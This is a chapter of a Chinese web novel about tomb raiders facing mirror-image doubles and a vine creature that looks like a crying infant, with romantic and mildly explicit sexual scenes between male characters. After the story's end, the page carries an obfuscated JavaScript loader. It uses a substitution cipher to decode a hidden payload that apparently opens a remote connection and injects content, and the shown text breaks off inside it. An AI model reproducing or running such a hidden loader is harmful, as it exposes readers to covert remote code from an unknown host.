39.食天下(下)+崆峒镜像(上)(2 / 2)

    万俟景侯看不到温白羽,有些急躁起来,他站在原地,静静的看着石壁。

    忽然黑暗中有一个人走进来,万俟景侯眼睛一眯,竟然是温白羽!

    温白羽走进来,看到万俟景侯也很惊讶,高兴的扑上来,说:“万俟景侯,原来你在这里!差点吓死我了。”

    他说着,伸手抱住万俟景侯,突然贴上来,两个人的身体紧紧贴在一起,温白羽主动的伸手挂在万俟景侯的脖子上,把嘴唇贴上来。

    就在他要贴上来的一瞬间,万俟景侯突然眼睛一眯,龙鳞匕首已经出鞘,抵在对方的脖子上。

    温白羽诧异的说:“万俟景侯,你干什么?”

    万俟景侯的声音很冷淡,说:“你不是温白羽。”

    九命走进岔路,突然身边的人都不见了,一双绿油油的眼睛瞪着黑暗深处,什么也没有。

    九命的毛都要炸起来了,弓着背在原地站了良久,终于刷的一下化成人形,往岔路深处猛跑。

    “沙沙。”

    突听后背有声音传来,九命回头一看,竟然是东海!

    东海的身形很高大,站在黑暗中,一双蓝色的眸子异常幽深。

    九命快速的跑过去,说:“东海,温白羽他们呢?突然一下就不见……啊!”

    他话还没说完,东海的手背上,倒刺忽然从肉中伸出,“嘭”的一声巨响,将九命钉在了石壁上。

    九命只觉的脖子上一阵剧痛,三叉戟几乎要扎穿他的脖子,他瞪着绿色的眸子,死死盯着东海,说:“你……东海?”

    东海慢慢的游过来,巨大的黑色鱼尾显得很有力度,手背上的三叉戟扎的越来越深,九命不禁睁大眼睛,他能感觉到自己的血顺着脖子往下流。

    东海冷笑了一声,看着他,说:“你配叫我的名字吗?”

    九命只觉得一股冷意卷上来,从头到脚都要冻冰了,他的眼眸里满满都是失落,急喘了两口气,说不上话来。

    东海的声音依旧冰冷,说:“你说的对,我们是天敌,从开始我就该知道。你失信在先,害得我被关在墓里几千年,眼睁睁看着族人被虐杀,这一切都是你的罪过。”

    九命觉得,随着东海的每说一个字,自己的体温就冷一分,当他知道东海因为一个赌约,阴差阳错的被关在水底墓几千的时候,确实非常震惊,他没想到东海竟然一直等着自己。

    但是他更没想到,原来东海一直不和自己说话,是因为他这么愤恨自己。

    九命的脖子在滴血,滴答滴答的往下滑,划过白皙的胸膛,在石头地上积攒了一滩。

    他两眼有些空洞,嘴里满是苦涩,说:“原来如此。”

    东海的眸子冷冷的,说:“都是你欠我的,只要你半条尾巴,你觉得够吗?”

    九命觉得眼眶很酸,眼睛发热,他不顾三叉戟扎在自己脖子上,像被蛊惑了一样,轻轻的摇着头,说:“不够……你杀了我吧,听说鲛人的三叉戟能让三魂七魄碎裂,到时候你也能拿回你的内丹,如果……你愿意的话,其他的尾巴,你也拿走吧……”

    东海冷笑了一声,九命觉得自己冷极了,闭上眼睛,眼泪终于不争气的滚下来,鸿鹄说,这是他最后一劫,原来这个劫,一直历经了几千年,现在才是还清的时候,他注定修不成第九条尾巴……

    “九命!”

    就在这个时候,九命突然听到一声大喊,他诧异的睁开眼睛,三叉戟还插在他的脖子上,冷眼看着他的东海不远处,却又有一个东海!

    九命看的呆了,不远处的东海眸子里全是暴戾,看到九命的血顺着脖子流下来,仿佛身上的暴戾就要膨胀的炸裂了。

    手背上的倒刺猛地暴长,“嘭”的一声向着之前的东海击过去,另外一个东海不得不收回三叉戟,退开两步闪避攻击。

    九命脖子上的固摄突然消失,“嘭”的一声摔在地上,大口大口的喘着气。

    九命诧异的看着两个东海,竟然长得一模一样!

    第一个东海冷冷的一笑,说:“就差一点,真是捣乱!就差一点我就能得到九尾取代你!”

    他说着,往后退了几步,消失在黑暗的墓道里。

    九命已经不知道是什么情况,还是一副呆愣愣的样子,东海冲过来,把他从地上抱起来,伸手压住他的伤口,说:“你流血了。”

    九命呆呆的看着他,眼睛还肿的跟个核桃似的,说:“你……你不是要杀我的?”

    东海烦躁的“啧”了一声,说:“你这只蠢猫,连我都分不清楚。”

    九命瘪嘴说:“我哪有……”

    东海说:“那不是我,那是镜像,这座墓里一定有崆峒印。”

    九命说:“崆峒印是什么?”

    东海给他压住伤口止血,说:“亏你还修炼了几千年,崆峒印是深海中的至宝,但是已经消失了几千年,可以复制镜像。”

    九命瘪瘪嘴,说:“我又没听说过,而且刚才那个镜像,表现的那么讨厌我……你不是讨厌我吗,我就以为……”

    东海苦笑了一声,说:“我如果真的讨厌你,会把内丹给你吗?”

    九命底气不足的说:“我怎么知道你是怎么想的,平时对我爱答不理的。”

    东海将人紧紧抱在怀里,说:“我是害怕……鲛人都是偏执的,当年只是因为你不记得我,你忘了吗,我咬掉了你的尾巴……如果我不控制自己,我怕有一天,我真的会把你拖到海底……九命,我不想这么对你。”

    九命突然一把抱住东海的脖子,整个人都挂在他身上,说:“你怎么不早说,我担心半天。”

    东海轻轻抚摸着他的后背,笑着说:“因为你是蠢猫。”

    九命本身是只猫,虽然是高等的种族,不过也改不了猫的习性,被人一摸就觉得特别舒服,喉咙里咕哝了一声,在东海身上乱蹭。

    东海脸色一沉,突然伸手捏住他的腰,九命从猫变成人没有穿衣服,就感觉到东海冰凉凉的鳞片上,突然有一块鳞片凸起了……

    九命一惊,感觉虽然自己是人形,但是也要炸毛了,浑身的汗毛都要竖起来,瞪着眼睛看着东海。

    东海神情很严肃,带着压抑克制,呼吸粗重,一双蓝色眸子紧紧盯着他,“嘭”的一下把他压在地上。

    九命能感觉到东海冰凉的鱼尾将自己的双腿分开,他一阵紧张,双腿乱踢,说:“你……这这这里是墓道啊!”

    他话才说完,突然感觉脚脖子一阵冰凉,东海的尾巴已经缠住他的脚脖子,将他的腿拉高,那冰凉的鱼鳍带着滑腻的感觉,让九命不停的哆嗦。

    东海压下身体来,双手压住他的手腕,说:“我说过,鲛人都是偏执的……九命,我想要你。”

    九命打了一个哆嗦,喉咙里发出咕哝的声音,小声说:“你……你的鱼鳞好凉,还扎人……啊!”

    九命突然喊了一声,被刺激的声音拔高,睁大了眼睛不停抖,尾巴“噗”的一下都变了出来,散在地上,果然是八条半,最后一条果然短短的,其他几条看起来修长优美,只有这一条毛茸茸的,像兔子的尾巴……

    温白羽走在墓道里,好不容易甩开和自己长得一模一样的人,墓道长得一模一样,又漆黑,走到哪里也看不出来。

    “哇……哇……”

    温白羽突然听到奇怪的声音,吓得一激灵,猛地就站住了。

    “哇……”

    “哇……哇……”

    是孩子的哭声……

    温白羽干咽了一口唾沫,他实在不知道自己小叔叔是有什么勇气,把古墓里的孩子带出去的,在墓里听到婴儿在哭,实在是太可怕了。

    温白羽听着声音,似乎很近的样子,他慢慢的往前走,试探的左右看,哭声越来越近了。

    前面的墓道突然接上了一座石室,温白羽走进去,石室是空的,正中的位置摆放着一个巨大的火焰图腾,图腾上有绿色的荧光。

    温白羽赶紧闭上眼睛后退一步,这是银灵子的眼睛,温白羽记得上次万俟景侯和他说过。

    温白羽不去看那图腾,害怕被吸进去,一侧头就看到石室的角落里,有一个孩子!

    那孩子趴在地上,是个婴儿,全身光着,长得非常可爱,下面却没有腿,反而是一堆草!

    温白羽吓了一跳,那孩子拼命的哭着,哭声刺耳,“哇哇”的嚎哭,让温白羽脑子里嗡嗡作响,似乎有点不受控制。

    就在温白羽愣神的时候,那孩子突然爬过来,一把抱住温白羽的腿。

    “啊……”

    温白羽吓得后退,但是那孩子双手抱住温白羽的脚脖子之后,下面的草滕突然伸出,“唰”的一下就缠住了温白羽,越缠越紧。

    怪异的孩子仍然在哭,温白羽脑子里一直嗡嗡的响,意识有点模糊,开始不受控制,温白羽觉得自己眼前出现了重影,然后模糊,忽然扭曲起来,似乎是产生了幻觉……

    一个硕大的宫殿里,一只白色长颈的大鸟俯首在一个男人身上。

    那男人穿着一身黑袍,闭着双眼,脸色惨白,嘴唇也没有了血色,但面容却异常安详,仿佛已经退去了往日里的暴戾和冷淡,在最后一刻,他终于做出了这辈子最想做出的决定。

    不用担心国家,不用担心社稷,什么都好,一了百了。

    只不过他最放不下的,还是那个白衣的男人,襄王最怕的,就是在他死后,那个男人仍然恨他,就算死了,也难以安息……

    鸿鹄伏在襄王的尸体上,襄王还带着温热的体温,榻边掉落着一把钥匙,殿里是此起彼伏的哭丧声。

    襄王没有子嗣,王位传给了侄子,很快遗体就要下葬,那只纯白的大鸟一直守在襄王的遗体身边,从温热变成了冰凉,只不过面容依然安详。

    温白羽看见殿里摆着两副棺材,有人将襄王的遗体放进棺材里,鸿鹄亲手将棺材的盖子合上,在合上的最后一刹那,鸿鹄的眼睛里滴下了一滴血泪,掉落在襄王的嘴角边。

    “轰!”的一声,棺材合上了。

    而另外一个棺材,是鸿鹄为自己准备的。这本身是襄王让能工巧匠制作的,据说能存放尸体千年不毁,是奇人在南海寻求的一块巨型冰块,千年不融化,坚硬无比,襄王命人把它做成棺材,却不是给自己用,他觉得只有这种冰透的莹白,才配得上鸿鹄。

    只是在最后一刻,襄王让人把棺材尘封了,似乎觉得不再用它。

    温白羽看着鸿鹄变成人形,慢慢躺进棺材里,有几个人合力抬起厚重的棺材盖子,“嘭!”的一声合上棺材。

    然后上钉。

    就在又要加外层棺椁的时候,突然一个人走进了殿里。

    温白羽眸子一张,这个男人虽然他不认识,看着面生,但是他手背上有一个火焰的标记!

    温白羽一眼就看出来了,和火魔手背上额头上的一模一样,襄王和鸿鹄的壁画里,也有这个男人!

    有侍者对男人作揖行礼,说:“国师大人。”

    国师看了一眼两个棺材,说:“你们先退下。”

    众人都退出去,关上了殿门,国师这才迫不及待的走过去,千年冰做成的棺材已经合死,钉上了钉子,国师又匆忙从怀里掏出一张黄色的纸,“啪”的一下贴在棺材上。

    等贴完了,国师脸上露出兴奋到几乎扭曲的表情,他哈哈大笑起来,说:“鸿鹄血!天下人都是一般愚昧,只有我才配得到凤凰,鲛人的鳞片鲛人的油膏算什么,这才是宝贝!”

    他说着,斜眼去看旁边的棺材,冷笑一声,说:“我也费了不少口舌,不是一般的固执,像你这样的人,死了也不省事,不如就死的更透一点。”

    他说着,手一抓,猛地抓住棺材盖,“轰!”的一声响,竟然徒手把钉好的棺材盖抠起,伸手就要进棺材里毁掉襄王的遗体……

    温白羽心脏登登的猛跳,就在这个时候,千年冰的棺材“嘭”的巨响一声,棺材盖忽然翻起,一下砸出去,国师没有防备,被撞得后退三步。

    他诧异的瞪大眼睛,看着从棺材中坐起的鸿鹄,不可以思议的说:“你!”

    鸿鹄虽然是人形,但是眼眸血红,眯着一双眼睛,平时看起来极其温和,此时却散露着一股威仪,好像这时候才会让人感觉到,这才是天神,这才是神祗。

    鸿鹄火目一眯,五指一手,那国师突然一声惨叫,随着鸿鹄的袖子轻甩,拿整个人猛地向殿门砸去,“哇”的一声吐出一口血来,诧异的看着鸿鹄,说:“怎么可能……”

    鸿鹄的目光注视着双眼紧闭的襄王,喃喃的说:“没人能打扰他休息,我会一直陪着他。”

    国师从地上爬起来,连吐了好几口血,冲出殿门逃跑了。

    侍者听到声音,冲进殿里的时候,就看到封死的棺材无缘无故又打开了,鸿鹄变作人形,躺在襄王的旁边,侍者一摸,竟然也没气了,新王觉得这不吉利,是有恶鬼作祟,让人将襄王和鸿鹄重新入棺,重新封死,将两副棺材立刻下葬。

    六十六个虚冢,没有地标,没有坟碑,甚至抬棺的人都不知道哪一个才是真的。

    温白羽的胸口快速的起伏着,他仿佛感受到了鸿鹄的窒息和深深的绝望。

    温白羽快速的呼吸着,只觉得胸腔里有一股气一直往上顶,几乎要承受不住炸裂了一样,襄王和鸿鹄的点点滴滴突然席卷过来,就像过电影一样,一幕一幕的在现。

    温白羽站在石室中间,眼睛慢慢变成红色,好像有火焰在里面燃烧,他的眸子没有焦距,里面充斥着疑惑和痛苦,双手微微的抖动着。

    “哇……哇……”

    “哇哇、哇……”

    “哇!”

    温白羽的耳朵里还能听见啼哭的声音,让人烦躁的厉害,他的双腿被藤蔓紧紧的缠绕着,那带毒的藤蔓伸出尖刺,猛地扎进温白羽的肉里。

    “嗬……”

    温白羽喉咙里发出一声压抑的轻呼,眼睛依旧是火红色的,轻轻的抬了一下手,五指一展,似乎在驱赶灰土。

    “呼——”

    轻微的一声。

    紧跟着是人身蔓藤的尖叫声,缠绕住温白羽腿上的蔓藤随着温白羽的动作,突然变成了灰烬,一下散落下来。

    温白羽的火目垂下来,看着双手抱住自己腿,已经不再啼哭的怪异婴儿。

    婴儿身体一抖,像是受到了惊吓,嘴里发出尖叫的声音,立刻撒了手,爬在地上,仓皇的往后缩,快速的在地上蠕动,钻进石室的墙角,一下就不见了。

    温白羽的眼睛仍然没有焦距,双手还在微微颤抖,抬起眼来,注视着石室中的火焰图腾,和那个国师的手背上标记一模一样的图腾。

    温白羽的脑子里突然席卷上来一股厌恶,他还记得刚才眼前看到的,那国师不但要鸿鹄血,还要毁掉襄王的遗体。

    温白羽慢慢伸起手,图腾里的人似乎在火焰的洗礼中兴奋的尖叫,温白羽的五指一展,就听“轰——”的一声巨响。

    火焰的图腾突然从中间裂开,似乎被什么尖锐的东西从中间劈开,轰然两瓣倒在地上。

    石室的地板被图腾砸出两个深坑,巨大的碎石溅起来。

    “温白羽!”

    身后有人叫他,温白羽听到那声音,非常熟悉,是万俟景侯。

    是万俟景侯!

    温白羽觉得非常高兴,有一种失而复得的感觉席卷而来,他睁大了眼睛转过头来。

    万俟景侯冲进来的时候,就看到巨大的图腾轰然倒塌,温白羽站在图腾旁边,巨大的碎石坍塌下来,立刻就要把他掩埋。

    万俟景侯叫了一声,他看到温白羽兴奋的回头,就和往日里的神情一样,只要自己叫他,他就会非常高兴,但是温白羽的眼睛,却像红宝石一样光亮,散发着火焰的璀璨。

    万俟景侯愣了一下,也只是一下,随即猛地扑出,一把抱住温白羽,巨石砸下来,砸在万俟景侯的背上,划伤了他的胳膊。

    东海和九命听到巨大的坍塌声,循着声音跑进石室,就看到满地的碎石,万俟景侯打横抱着温白羽从碎石中站起来,他一头一脸都是灰土,身上还有血,温白羽轻合着眼睛,似乎已经昏厥了过去。

    东海说:“怎么样?”

    万俟景侯摇头说:“轻伤。”

    九命说:“温白羽怎么了?”

    万俟景侯低头看着怀里的温白羽,说:“不知道他在镜像中看到了什么,他的情绪很不稳定,咱们先出去。”

    东海点头,说:“好。”

    温白羽觉得自己很疲惫,他最后一眼看到的是向自己跑来的万俟景侯,竟然感觉到了安心,一下就栽倒在地没有了意识。

    温白羽眼皮很沉,也不知道睡了多久,睁开眼睛看到的却是天花板,有人在自己耳边说:“醒了?”

    温白羽侧头看过去,是万俟景侯。

    温白羽盯着他眨了眨眼睛,说:“我难道在做梦?怎么在酒店里?咱们不是下斗了吗?”

    万俟景侯给他端了杯水,扶着他起来,让温白羽靠在自己身上,说:“你突然昏倒了,大家就先退出来了。”

    温白羽点了点头,说:“你不知道,咱们走散了的时候,我遇到了多可怕的事情,先是和自己一模一样的人,然后又看到了一个婴儿头没有腿,下面全是草的孩子,他抱着我的腿哭,差点吓死我了……后来……”

    后来温白羽竟然有点记不清楚了,有些混乱,他好像看到那个怪异的婴儿突然逃跑了,明明是自己害怕那个婴儿,结果婴儿却害怕起了自己。

    他伸手使劲揉了揉额头,觉得头很痛,还涨涨的。

    万俟景侯说:“那是一种蔓藤,并不是真的婴儿,它的哭声会让人产生幻觉,让人沉浸在镜像之中,然后通过蔓藤尖端的针刺吸收活人的血气。”

    温白羽奇怪的说:“到底什么是镜像?”

    万俟景侯淡淡的说:“就像镜子,能照出影像,但是因为镜子的平面不一样,所以有的时候会无限放大突出一个点,墓里的镜像会迷惑人,放大的应该多半是心里最痛苦的一点。”

    温白羽听的似懂非懂,最痛苦的一点……

    他隐约记得,那个和万俟景侯长得一模一样的襄王躺在棺材里的模样……

    温白羽心脏一缩,猛地抓住万俟景侯的手。

    万俟景侯突然被他抓住,感觉到温白羽今天的手心有些烫,不禁伸手摸了摸他的额头,说:“蔓藤的毒刺有毒,你有点低烧,我去给你买药……”

    他说着要站起来,温白羽却抓着他不放,眼里似乎有恐慌,说:“别……别走。”

    万俟景侯愣了一下,随即又坐下来,还以为是温白羽在墓里被吓怕了。

    温白羽躺在床上,伸手拍了拍旁边的位置,万俟景侯也躺上来,说:“烧的难受吗?”

    温白羽没感觉难受,就摇摇头,腿上的伤口也不疼了,想必是万俟景侯早就处理过了。

    万俟景侯转过身来,伸手抱住他的腰,说:“那就睡一会儿,你睡着了我再去买药。”

    温白羽闭上眼睛,隔了几秒钟又睁开了眼暼万俟景侯。

    万俟景侯搂着他,也闭上了眼睛,似乎在睡觉,温白羽就干脆全睁开,盯着万俟景侯看。

    万俟景侯的侧脸非常完美,简直是三百六十度无死角,下巴的弧度尤其好看,再配上完美的唇形……

    “咕嘟……”

    温白羽抻着脖子咽了一口唾沫,一脸痴汉相的看着万俟景侯,心想着老天真是不公平啊,这人怎么长的就没缺点呢,眼尾的那颗痣看得温白羽心里痒痒的,闭着眼睛的时候显得柔和,睁开眼睛的时候显得冷静。

    温白羽不禁凑过去一点,想要仔细观察一下万俟景侯眼角的那颗痣,结果就在凑过去的一瞬间,万俟景侯突然睁眼了!

    睁眼了!

    两个人的目光撞在一起,温白羽一张老脸慢慢染红,痴汉的表情还挂在脸上,简直无地自容。

    “呵……”

    万俟景侯喉咙里发出一声轻笑,说:“看什么?”

    温白羽心说,看你长得好看!

    温白羽咳嗽了一声,梗着脖子说:“看看又不犯法。”

    万俟景侯笑着点点头,然后说:“只想看看?”

    卧……槽……

    这是引诱人在犯罪!

    温白羽心脏登登登的跳,几乎跳出了嗓子眼,跟打雷一样凶猛,还在他呆愣的时候,万俟景侯已经压过来,含住他的嘴唇,轻轻的用舌尖舔/舐。

    温白羽完全被美人计吸引住了,立刻乖乖的双手抱住万俟景侯的后背,张开嘴回应他的亲吻。

    万俟景侯伸手往下摸,温白羽“啊”的抖了一下,然后闭气眼睛,快速的呼吸着。

    “呵……”

    万俟景侯又是一声轻笑,似乎心情愉悦的欣赏着温白羽忍耐的表情。

    温白羽双手死死抱着万俟景侯,就在这个时候,突听隔壁传来“啊……”的一声呻吟,温白羽作则心虚,一下发泄了出来,然后呆愣愣的看着万俟景侯。

    万俟景侯笑了一声,说:“真么快?”

    温白羽:“……”

    温白羽登时脸上一阵青一阵红,一拽被子把头埋进去,喊着:“万俟景侯你大爷!”

    万俟景侯轻轻拍了拍被子,温白羽包的严实,就是不出来,万俟景侯就说:“那你休息吧,休息好了咱们还要再去墓里看看。”

    温白羽不理他,窝在被子里,疲惫再加上刚刚发泄,很快就真的睡着了。

    温白羽也不知道自己睡了多久,反正是被吵醒的,耳朵里都是“啊……”的呻/吟声,简直跟幻听似的。

    温白羽掀开被子,仔细听了听,原来是隔壁传过来的,隔壁那不就是东海吗,而一直乱叫的则是九命……

    温白羽清晰的听到九命带着哭腔,说:“别……别再来了,你的鱼鳞把我的腿都划伤了!啊……”

    温白羽:“……”

    真是日了狗了,酒店的房间竟然不隔音,温白羽转头一看,已经天黑了,怎么能这么长时间还在继续,鲛人也真是够奇葩的!

    万俟景侯不在房间里,应该是去买药了。

    温白羽忍无可忍的蹦下床,冲出门去,使劲拍了隔壁的门两下,喊着:“你们小点声,整条街都听见了!”

    里面的声音突然停顿了两秒,然后九命的声音炸毛的说:“温白羽都听见了!”

    东海的声音却很淡定,淡淡的说:“没关系。”

    温白羽:“……”

    温白羽简直无语了,他正好肚子有点饿,就干脆下了楼,,问了前台这附近最近的药店在哪,准备先去找万俟景侯,然后再一起吃晚饭。

    温白羽出了门,顺着前台指的路,一直往下坡走,眼看着就要到药房了,突听“啊啊啊啊”的一声尖叫。

    温白羽被吓得一激灵,声音是从河边传来了,下坡就在河边,温白羽看过去,就见一个人双手扒着河岸,好像有东西把他往河里拽。

    那人也看到了温白羽,大喊着:“救命啊啊!!”

    温白羽犹豫了一下,还是跑过去,抓住那人的手,是一个小年轻,吓得已经脸色苍白,喊着:“救命啊!有人拽我!”

    他说着,温白羽还听见了“哇哇”的哭声,往河里一看,竟然是一个婴儿,双手抱着小年轻的腿,婴儿的下面果然没有腿,全是蔓藤,缠绕着年轻人,好像特别有劲,使劲把小年轻往河里拖。

    不过蔓藤的尖端,还有点被烧焦的痕迹。

    那蔓藤也看到了温白羽,似乎非常惧怕温白羽,唰的一下就松开了藤蔓,然后发出一声尖叫,“噗通”一声扎进水里,立刻不见了。

    那年轻人从河里爬上来,气喘吁吁的瘫在地上,说:“谢……谢谢,谢谢你!太感谢你了!”

    温白羽摆摆手,说:“快走吧,别在河边呆着了。”

    那年轻人赶紧爬起来,说:“实在太谢谢了,我……我能知道你的名字吗?”

    年轻人说的很小声,然后还脸红了!

    脸红了!

    突然脸红干什么!

    温白羽干笑两声,退后了一步,说:“没什么,我还有事,我先走了!”

    他说着跑了几步,年轻人还在后面追他,一直在问他的名字。

    温白羽往药店走,男人就亦步亦趋的跟在后面,还在锲而不舍的问他名字,温白羽就只当没听见。

    就在这个时候,身后的年轻人突然发出粗重的喘气声,然后一下扑过去,将温白羽按在地上。

    “卧槽!”温白羽被一推,扑在地上,下巴差点磕花了,回头一看,就见那年轻人脸色发青,像僵尸一样,张开血盆大口,竟然要咬他的头!

    温白羽突然记起来,在饭馆的时候,那个人说起的老太太,也是在河边走,被什么东西往水里拖,不过没有拖进水里,回家之后竟然要咬死自己的孙子。

    年轻人的脚脖子肿起来了,蔓藤里应该有让人发狂的毒素。

    温白羽被扑在地上,年轻人双手掐住他的脖子,张嘴往他头上咬,温白羽使劲架住他的脑袋,年轻人却一股怪力,好像发疯了一样。

    嘴里还发出“嗬——嗬——”的的吼声,似乎看到了什么美味,嘴边还要流下粘稠的口水。

    温白羽看得一阵反胃,路上也没有人,连呼救都不行。

    温白羽和年轻人僵持了一分多钟,就听到“沙沙”的声音,温白羽知道是有人来了,大喊着:“救……救命……”

    他喊着,瞥眼一看,竟然是万俟景侯,简直是万幸!

    万俟景侯见到温白羽,诧异了一下,随即猛的跑过来,一把抓住男人的背心,将男人硬生生拽了起来,“嘭”的一声扔在一边。

    万俟景侯搀扶起温白羽,温白羽脸色惨白,剧烈的咳嗽着,说:“他发疯了,没咬死我,差点掐死我……”

    正说话间,那年轻人从地上爬起来,喉咙里“嗬——嗬——”的怪叫着,眼睛和脸都变青了,还长出了獠牙,表情异常的兴奋,也不知道疼似的,又冲了上来。

    温白羽立刻大喊着:“小心!小心,他咬人!”

    万俟景侯把温白羽往后一拦,说:“他中了蔓藤的毒,牙和唾液都有毒。”

    说话间,年轻人猛地扑过来,万俟景侯向旁边快速一闪,“嘭”的一声年轻人摔在地上,却突然伸出手,死死抓住万俟景侯的脚腕。

    温白羽紧张起来,下意识的一挥手,突然“嘭”的一声,年轻人发出一声大吼,双手一松,整个人向后飞出,一下摔在地上,“哇”的大吼一声吐出一口腥臭的血来。

    温白羽诧异的看着自己的手掌,刚才一瞬间,他都不知道发生了什么,一切都在电光火石之间。

    万俟景侯也有一丝诧异,不过很快就冷静下来,说:“他的毒血吐出来了,应该没事了。”

    说着伸手摸了摸温白羽的额头,还是微烫,说:“走吧,你还在发烧,回去把药吃了。”

    温白羽被他握着手心,拽着往酒店走,这才收回了神,说:“呃……我觉得我没病啊,一点也不难受,是不是你体温太低了才觉得我发烧啊。”

    万俟景侯才不听他狡辩,把人带回了酒店,然后打电话给前台,给温白羽叫了一份白粥做晚饭……

    温白羽像小白菜一样凄苦的喝着白粥,可怜兮兮的说:“没味道。”

    万俟景侯很“体贴”的给他夹了一筷子咸菜,说:“吃。”

    温白羽:“……”

    这个时候有敲门的声音,万俟景侯去开门,打开门却是东海。

    东海走进来,说:“温白羽的病好了吗?”

    万俟景侯摇头,说:“刚吃了药。”

    温白羽一边喝白粥,一边抬眼,戏谑的看向东海,说:“呦,九命呢?”

    东海表情淡淡的,仿佛一点儿也没不自然,说:“太累了,睡着了。”

    温白羽:“……”

    他不该跟黑鳞鲛人贸然比脸皮的厚度的……

    东海走过来,说:“鲛人的医术还可以,我帮你看看。”

    他说着手搭在温白羽的手腕上,似乎在摸脉搏,过了一会儿却皱了皱眉,随即笑了一声。

    温白羽莫名其妙的说:“笑什么?”

    东海看向万俟景侯,语气还是淡淡的,但是确实有些笑意,说:“他不是生病。”

    温白羽说:“我就说我没病!”

    东海又说:“可能和墓底的镜像有关,我不知道温白羽看到了什么,反正他现在体内正阳之气太盛,会导致类似于发烧的表象。温白羽的魂魄不整齐,而且体虚,定力又差……”

    温白羽实在听不过去了,前面的魂魄不整齐,听起来还很高大上,后面体质虚是什么意思,自己也是堂堂大老爷们,竟然说他体虚!还有那句定力差!温白羽觉得,自己也就在万俟景侯面前定力差一点点……

    就听东海继续说:“阳气太足,他的身体又固摄不住,到达极限的话,身体很可能承受不住压力,如果时机成熟的话,你应该帮他疏导疏导,至于怎么疏导,我想你应该知道。”

    东海说完,别有深意的看了万俟景侯一眼,又说:“不打扰你们了,什么时候准备好再下那个墓,过来叫我和九命就可以。”随即就带门出去了。

    门发出“咔哒”一声,屋子里又剩下温白羽和万俟景侯两个人。

    温白羽砸了砸嘴里的白粥,心想着,“疏导”,这个词听起来挺高深的。

    温白羽顺口说:“怎么疏导?我就说我没病,刚才还吃了药,吃错药要人命啊!”

    说着,又往嘴里塞了一口白粥。

    就听万俟景侯淡淡的说:“交/合。”

    “噗——”

    温白羽一口白粥全喷了出来……

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD 